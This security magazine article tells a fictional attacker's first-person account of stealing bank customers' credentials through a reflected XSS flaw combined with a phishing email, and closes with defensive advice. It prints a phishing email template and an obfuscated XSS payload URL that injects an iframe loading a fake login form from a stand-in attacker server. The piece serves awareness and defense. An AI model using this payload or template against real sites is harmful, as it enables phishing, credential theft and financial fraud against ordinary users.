Anatomy of an XSS Attack

By Russ McRee – ISSA member, Puget Sound (Seattle), WA, USA chapter

The following is a first-person narrative, written from the perspective of an attacker utilizing cross-site scripting (XSS) methodology combined with phishing. The intent is to describe motive, method, and consequence. As indicated in April's *toolsmith*, XSS is an epidemic. Sadly, it is rarely given its due; XSS is often considered an attack unworthy of much concern. Yet, it is an attack of great consequence, if utilized by a motivated attacker. Statistics claim that 90% of all websites have at least one vulnerability, and 70% of all vulnerabilities are XSS.[1]

It is not difficult to make the leap that someone will be victimized, an exploit will be utilized, and a vulnerability taken advantage of. The common misconception is that XSS is not as dangerous because it does not "hack" the server. While in most light, there is some truth to that claim; yet, it undermines the very essence of why we, as information security professionals, exist: to protect. Businesses and security vendors alike often forget or disregard that essence. We should not exist solely for the bottom line, corporate profits, growth metrics, or acquisition potential. Instead, let's remember the consumer.

Point blank: XSS exploits consumers. The gullible and the innocent fall prey, and their financial well-being is often left to the greedy and malicious.

Validate your inputs (and outputs); follow a secure development life cycle; scan your web sites for vulnerabilities regularly; but do not assume that just because some vendor says you are safe that you are. Utilize a web application firewall in concert with good code and monitoring. Do not do it just because PCI compliance requires it; remember it is your customers and your reputation that XSS harms. It can be prevented.

While the following names and events are entirely fictitious, elements are drawn directly from actual, recent, documented attacks.

I am a cybercriminal.

I am intelligent, but by no means brilliant; I know how to make use of work that others have done. I am morally lax; your assets are up for grabs if you're foolish enough to make them easy to steal. I lurk on the Internet for hours, days, weeks at a time. I'm in my mid-twenties, haven't held a job of much merit, and like to make an easy buck. I look for low hanging fruit to take advantage of. I might socially engineer someone's account away from him via customer support or easily manipulated administrators. Better yet, if your website is weak, poorly coded and full of vulnerabilities, I will likely find a way to exploit it for my gain. Let me describe just how simple it is. All those inputs you offer to customers? You know, *search fields*, *feedback pages*, *forums* and *comment areas*? They're all easy pickings if you're not validating what you're allowing in

1 http://www.whitehatsec.com/home/assets/presentations/PPTstats032608.pdf.

those forms, or what you're allowing to be returned to your users. Do you have to leave everything as GET requests? It makes it all that much easier to find the soft spots. All I need to do is crawl your sites and look for GET parameters, then test them for script execution. I'll show you in a bit.

You've gotta love banks that don't lock their sites down. A little XSS, some simple phishing code and the rest is history. Take Union Standard Savings Bank, for example. They couldn't have made it easier for someone like me if they'd tried. Banks like to think that just because they use SSL everything must be safe. Customers think so too. "Oh look, that cute little padlock, I'll put my password and credit card number right in." It's this simple: you leave improperly validated GET parameters open to attack, and I can execute MY code in the context of YOUR website, all safely wrapped in SSL. The certificate you pay for annually won't do you a bit of good.


Union Standard Savings Bank

May 17, 2008

Dear USSB Customer,

The Internet Safety Team at Union Standard Savings Bank has been working hard to ensure your utmost personal safety while visiting our website.

Our upgrades have included improved security features like full encryption for every facet of your visit, and enhanced protection on our accounts database to keep your personal data safe at all times.

We're proud of this work on your behalf, but we must ask one action your part to take advantage of these new features. Please login to your account at your earliest convenience to not miss another moment of this improved set of security offerings.

For your convenience we ask that you Login Here.

Sincerely,

USSB Internet Safety Team

Figure 1 – USSB phishing email

Union Standard Savings Bank left open a doozy for me last month. The best place to look is always the login page; if you can insert code there, it's all that much easier to trick users. All I had to do was insert an IFRAME into USSB's login page that loaded my fake version of the login form from my server. It was so neat and tidy; customers never knew what hit them.

You're saying big deal, that's just phishing and you only get the stupid people, right? Wrong. Because the bank left the login page parameter vulnerable, I could craft an extremely convincing URL to send USSB customers. My URL injects numbers straight to the JavaScript utility that already runs on the LoginServlet page at USSB's site. Even a really wary customer using the site regularly won't be suspicious of the URL, because my code injection is only commas and numbers.[2] Obviously, it's really easy to make my fake site look just like USSB's site: View Source, a little work in a text editor, and voila…Cyber Crime Savings Bank. Making the email look convincing is just as easy. Just target the email distribution the best you can, no need to spray them all over the place because you can buy customer lists for very little. Have you ever applied for a loan or a mortgage and forgotten to read the privacy clause, given them your email address, then startet seeing targeted marketing email? You don't need a background check to buy those lists; they'll sell them to anyone. Once I have the list, in an HTML email (see Figure 1) I can hyperlink the following URL right to a simple phrase like ***Login Here***, and send it to real USSB customers. All I have to do is make the email look official and believable. I like to pretend I'm the Internet Safety Team, they fall for that one every time.

When the user clicks *Login Here*, he is sent to the URL below, which looks completely legit because my script executes in the context of the actual bank site! Sure, if they look hard enough, they'll see all the numbers and commas, but that could be anything as far as your average user is concerned. Faked you out too, right? It starts with the actual bank's URL, including their SSL certificate!

https://www.unionstandardsb.com/script/LoginServlet?function= %22%3E %3Cscript%3Edocument.write%28String.fromCharCode%2860%2C115%2C99%2C114%2C105%2C112%2C116%2C62%2C60%2C105%2C102%2C114%2C97%2C109%2C101%2C32%2C115%2C114%2C99%2C61%2C104%2C116%2C116%2C112%2C58%2C47%2C47%2C119%2C119%2C119%2C46%2C99%2C121%2C98%2C101%2C114%2C99%2C114%2C105%2C109%2C105%2C110%2C97%2C108%2C98%2C97%2C110%2C107%2C46%2C99%2C111%2C109%2C47%2C108%2C111%2C103%2C105%2C110%2C46%2C112%2C104%2C112%2C62%2C60%2C47%2C115%2C99%2C114%2C105%2C112%2C116%2C62%29%29%3C/script%3E

If I decode the URL encoding, it looks like this:

https://www.unionstandardsb.com/script/LoginServlet?function="><script>document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,99,121,98,101,114,99,114,105,109,105,110,97,108,98,97,110,107,46,99,111,109,47,108,111,103,105,110,46,112,104,112,62))</script>

I've divided the whole URL into three parts to show you how it works. Green is the actual bank site; that's meant to be funny because even though the string is loaded with my attack, it'll show green in the URL window of your browser because it's the actual bank certificate. Red represents the JavaScript, and purple is the CharCode I used to hide the contents of the actual IFRAME. The vulnerable GET parameter is *function*. If I translate the Javascript CharCode (again, that's how I made everything just numbers and commas), the translated string looks like this:

<iframe src=http://www.cybercriminalbank.com/login php>

2 http://www.spamfighter.com/News-9710-Phishers-Exploit-XSS-Flaw-to-Operate-Banking-Scam.htm.

So, all said and done, my fake bank login page is inserted right into USSB site. Sure, it's not persistent, but it doesn't matter as long as USSB customers use the link I send them in the email. The URL never changes for the user, so they know no better. Because the entire string renders the IFRAME with my fake site in the context of the legitimate bank site, the user puts in his credentials, all the while actually browsing the real USSB site but sending credentials to my server, because the IFRAME source is my server. To avoid any suspicion, once the credentials are dropped to my server, I forward them on the real site so the customer still gets the content he was expecting. I didn't have to use some stupid, badly faked URL like *www.un10n$tandard$b.com*; I can use the real bank site, thanks to the wide open *function* parameter. That's the real deal! Once the easily fooled and sadly victimized sign in, their credentials are written right to a nice flat file on my web server. Heck, if I wasn't lazy I could write them right to a database. MySQL, YourCredentials. Hah!

So what do I get for my efforts? An open marketplace of my very own. As long as I can keep my phishing site up unnoticed and the bank leaves the vulnerable parameters available to be exploited, I'm in business.

In the last 30 days I captured the credentials of 417 unsuspecting people. I'm not stupid, so I didn't go drain all their accounts. I did a few, sure, but I'm a business man. I just take little amounts from most accounts and go unnoticed. I also tested other sites with the same credentials. You'd be amazed at the number of people who use the same username and password for all their online access. I've been keeping myself flush in video games, pizza, and music. I'm also keeping my money in multiple PayPal accounts. Small amounts again, so as not to raise eyebrows. If I end up with a lot of money, and don't actual waste it all, I could always put in an offshore account. Best of all, rather than use all the credentials I get, I can sell some them on the hacker's black market. Yeah, there is one. Just gotta know who to talk to. I pocketed just under $24,000 last month, for very little effort. Couldn't be easier.

If and when USSB ever figures out what's going on, I'll just move on to the next opportunity. Trust me, they're out there. 70% of all websites are vulnerable to XSS, right? As long as it's this easy, people like me can go undetected and exploit a whole lot of innocent people.

After all, I am morally lax; your assets are up for grabs if you're foolish enough to make them easy to steal. I am intelligent, but by no means brilliant; I know how to make use of work that others have done.

I am a cybercriminal.

Pardon the soapbox sermon, but as this piece was written, Dan Goodin of *The Register* published news that a "serious scripting error has been discovered on PayPal that could enable attackers to create convincing spoof pages that steal users' authentication credentials."[3] This is the real deal folks. SSL did nothing to protect from a scripting attack. It was as if the stars aligned to support the message herein.

As I pretend in my role as a cybercriminal there is a perpetual background hum of lowlife noise taking full advantage of opportunities as we've discussed them here. Allow me to offer you some takeaways, and yes, I am repeating myself. As we all go Web 2.0 or 3.0 and so on, join the cloud, and present everything as a rich internet application, consider the following:

1. Implement a software development life cyle, if you have not already
2. Update legacy code to follow safer standards
3. Validate all inputs
4. Review how *output* is returned to users
5. Employ a web application firewall and review your source code, and not just because PCI DSS says you should
6. Do not assume that some logo provider says you are safe that you are. Conduct web application vulnerability scans on a regular basis and hotfix findings ASAP

According to the *Internet Security Threat Report* from Symantec, "during the last six months of 2007, 11,253 site-specific, cross-site scripting vulnerabilities were documented, compared to 6,961 between February and June in the first half of the year." That's a 62% increase in six months. Mind you, these are one vendor's statistics, as documented. The numbers that are not documented are likely far greater. If the current trend is getting worse, we have some work to do. Let's see what we can do to force those numbers to trend in the opposite direction.

Acknowledgements

My dear wife Briana, for her endless support, and for reviewing this for its less technical merits.

Jeremiah Grossman, Rafal Los, and Nate McFeters for staying on message, and their support.

Resources

—http://www.webappsec.org/projects/whid/byid_id_2008-02.shtml

—http://news.netcraft.com/archives/2008/01/08/italian_banks_xss_opportunity_seized_by_fraudsters.html

—XSS Attacks: Cross Site Scripting Exploits and Defense, Seth Fogie, Jeremiah Grossman, Robert Hansen, Anton Rager, Petko D. Petkov, Syngress, 2007

About the Author

Russ McRee, GCIH, GCFA, CISSP, is a security analyst working in the Seattle area. As an advocate of a holistic approach to information security, Russ' website is holisticinfosec.org. Contact him at russ@holisticinfosec.org.

Russ realizing he just XSSed himself.

3 http://www.theregister.co.uk/2008/05/16/paypal_page_succumbs_to_xss/.